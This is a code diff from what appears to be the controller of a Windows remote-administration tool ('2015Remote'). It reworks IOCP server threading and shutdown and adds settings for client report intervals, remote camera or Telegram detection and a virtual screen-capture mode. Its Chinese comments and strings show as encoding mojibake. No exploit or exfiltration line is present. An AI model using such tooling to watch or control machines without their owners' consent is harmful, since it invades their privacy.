WSA_INVALID_EVENT; } +} + + +IOCPServer::~IOCPServer(void) +{ + Destroy(); + while (m_ulWorkThreadCount || m_hListenThread) + Sleep(10); while (!m_ContextConnectionList.IsEmpty()) { @@ -147,9 +149,6 @@ IOCPServer::~IOCPServer(void) delete ContextObject; } - while (m_ulWorkThreadCount) - Sleep(10); - DeleteCriticalSection(&m_cs); m_ulWorkThreadCount = 0; @@ -260,7 +259,7 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U (void*)this, //Threadصthis ǵ̻߳صеijԱ 0, NULL); - if (m_hListenThread==INVALID_HANDLE_VALUE) + if (m_hListenThread==NULL) { int a = GetLastError(); closesocket(m_sListenSocket); @@ -319,7 +318,7 @@ BOOL IOCPServer::InitializeIOCP(VOID) return FALSE; } - m_ulWorkThreadCount++; + AddWorkThread(1); CloseHandle(hWorkThread); } @@ -385,7 +384,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) 0, NULL); - InterlockedIncrement(&This->m_ulWorkThreadCount); + This->AddWorkThread(hThread ? 1:0); CloseHandle(hThread); } @@ -406,7 +405,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) } } - if (!bError) + if (!bError && !This->m_bTimeToKill) { if(bOk && OverlappedPlus!=NULL && ContextObject!=NULL) { @@ -427,10 +426,12 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) timeEndPeriod(1); SAFE_DELETE(OverlappedPlus); - InterlockedDecrement(&This->m_ulWorkThreadCount); InterlockedDecrement(&This->m_ulCurrentThread); InterlockedDecrement(&This->m_ulBusyThread); - + int n= This->AddWorkThread(-1); + if (n == 0) { + Mprintf("======> IOCPServer All WorkThreadProc done\n"); + } OutputDebugStringA("======> IOCPServer WorkThreadProc end \n"); return 0; @@ -439,8 +440,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) //ڹ߳б BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans) { - AUTO_TICK(20); - BOOL bRet = FALSE; switch (PacketFlags) @@ -472,7 +471,6 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans) { - CLock cs(m_cs); try { if (dwTrans == 0) //Էر׽ @@ -560,7 +558,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe { assert (ContextObject); // ͵ - if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL) { + if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) { char buf[100] = { 0 }; if (ulOriginalLength == 1){ sprintf_s(buf, "command %d", int(szBuffer[0])); @@ -659,7 +657,7 @@ DWORD IOCPServer::ListenThreadProc(LPVOID lParam) // IOCPServer* This = (IOCPServer*)(lParam); WSANETWORKEVENTS NetWorkEvents; - while(1) + while(!This->m_bTimeToKill) { if (WaitForSingleObject(This->m_hKillEvent, 100) == WAIT_OBJECT_0) break; @@ -686,8 +684,8 @@ DWORD IOCPServer::ListenThreadProc(LPVOID lParam) // break; } } - } - + } + This->m_hListenThread = NULL; return 0; } @@ -753,8 +751,9 @@ void IOCPServer::OnAccept() //ʱͻ߻ϵȷϿûSO_KEEPALIVEѡ //һֱرSOCKETΪϵĵĬСʱʱ̫Ǿֵ - CLock cs(m_cs); + EnterCriticalSection(&m_cs); m_ContextConnectionList.AddTail(ContextObject); //뵽ǵڴб + LeaveCriticalSection(&m_cs); OVERLAPPEDPLUS *OverlappedPlus = new OVERLAPPEDPLUS(IOInitialize); //עصIO û @@ -816,8 +815,10 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext() VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject) { - CLock cs(m_cs); - if (m_ContextConnectionList.Find(ContextObject)) //ڴвҸûݽṹ + EnterCriticalSection(&m_cs); + auto find = m_ContextConnectionList.Find(ContextObject); + LeaveCriticalSection(&m_cs); + if (find) //ڴвҸûݽṹ { m_OfflineProc(ContextObject); diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index d722be0..d1f9896 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -234,6 +234,12 @@ typedef struct CONTEXT_OBJECT void Decode(PBYTE data, int len) const { Parser.GetEncoder()->Decode((unsigned char*)data, len); } + std::string RemoteAddr() const { + sockaddr_in ClientAddr = {}; + int ulClientAddrLen = sizeof(sockaddr_in); + int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen); + return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; + } }CONTEXT_OBJECT,*PCONTEXT_OBJECT; typedef CList ContextObjectList; @@ -274,7 +280,7 @@ public: static DWORD WINAPI WorkThreadProc(LPVOID lParam); ULONG m_ulWorkThreadCount; VOID OnAccept(); - static CRITICAL_SECTION m_cs; + CRITICAL_SECTION m_cs; /************************************************************************/ //±Ķ @@ -286,7 +292,13 @@ public: VOID PostRecv(CONTEXT_OBJECT* ContextObject); - VOID ExitWorkThread() { EnterCriticalSection(&m_cs); --m_ulWorkThreadCount; LeaveCriticalSection(&m_cs); } + int AddWorkThread(int n) { + EnterCriticalSection(&m_cs); + m_ulWorkThreadCount += n; + int ret = m_ulWorkThreadCount; + LeaveCriticalSection(&m_cs); + return ret; + } /************************************************************************/ //õ @@ -301,6 +313,7 @@ public: void UpdateMaxConnection(int maxConn); IOCPServer(void); ~IOCPServer(void); + void Destroy(); pfnNotifyProc m_NotifyProc; pfnOfflineProc m_OfflineProc; diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 1cfcd74..4a40b72 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -7,7 +7,6 @@ #include "afxdialogex.h" #include "client/CursorInfo.h" - // CSettingDlg Ի IMPLEMENT_DYNAMIC(CSettingDlg, CDialog) @@ -18,6 +17,8 @@ CSettingDlg::CSettingDlg(CWnd* pParent) , m_nMax_Connect(0) , m_sScreenCapture(_T("GDI")) , m_sScreenCompress(_T("Ļ㷨")) + , m_nReportInterval(5) + , m_sSoftwareDetect(_T("ͷ")) { } @@ -36,6 +37,12 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sScreenCapture, 32); DDX_Control(pDX, IDC_COMBO_SCREEN_COMPRESS, m_ComboScreenCompress); DDX_CBString(pDX, IDC_COMBO_SCREEN_COMPRESS, m_sScreenCompress); + DDX_Control(pDX, IDC_EDIT_REPORTINTERVAL, m_EditReportInterval); + DDX_Text(pDX, IDC_EDIT_REPORTINTERVAL, m_nReportInterval); + DDV_MinMaxInt(pDX, m_nReportInterval, 0, 3600); + DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect); + DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect); + DDV_MaxChars(pDX, m_sSoftwareDetect, 256); } BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) @@ -84,7 +91,26 @@ BOOL CSettingDlg::OnInitDialog() m_ComboScreenCapture.InsertString(0, "GDI"); m_ComboScreenCapture.InsertString(1, "DXGI"); - m_sScreenCapture = DXGI ? "DXGI" : "GDI"; + m_ComboScreenCapture.InsertString(2, "VIRTUAL"); + m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI"); + + m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "ͷ"); + m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "籨"); + auto str = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5"); + m_nReportInterval = atoi(str.GetBuffer()); + n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect"); + switch (n) + { + case SOFTWARE_CAMERA: + m_sSoftwareDetect = "ͷ"; + break; + case SOFTWARE_TELEGRAM: + m_sSoftwareDetect = "籨"; + break; + default: + m_sSoftwareDetect = "ͷ"; + break; + } UpdateData(FALSE); @@ -105,6 +131,10 @@ void CSettingDlg::OnBnClickedButtonSettingapply() n = m_ComboScreenCompress.GetCurSel(); ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "ScreenCompress", n); + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "ReportInterval", m_nReportInterval); + n = m_ComboSoftwareDetect.GetCurSel(); + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "SoftwareDetect", n); + m_ApplyButton.EnableWindow(FALSE); m_ApplyButton.ShowWindow(SW_HIDE); } diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index e755d7d..c93e0ac 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -32,4 +32,8 @@ public: CString m_sScreenCapture; CComboBox m_ComboScreenCompress; CString m_sScreenCompress; + CEdit m_EditReportInterval; + int m_nReportInterval; + CComboBox m_ComboSoftwareDetect; + CString m_sSoftwareDetect; }; diff --git a/server/2015Remote/res/keyboard.ico b/server/2015Remote/res/keyboard.ico index 4c27245..3156eff 100644 Binary files a/server/2015Remote/res/keyboard.ico and b/server/2015Remote/res/keyboard.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 83e7bd2..c286772 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 52aa806..3d756c7 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -21,7 +21,7 @@ #endif #ifdef _DEBUG -#define Mprintf(format, ...) printf(format, ##__VA_ARGS__) +#define Mprintf(format, ...) TRACE(format, ##__VA_ARGS__) #else #define Mprintf(format, ...) #endif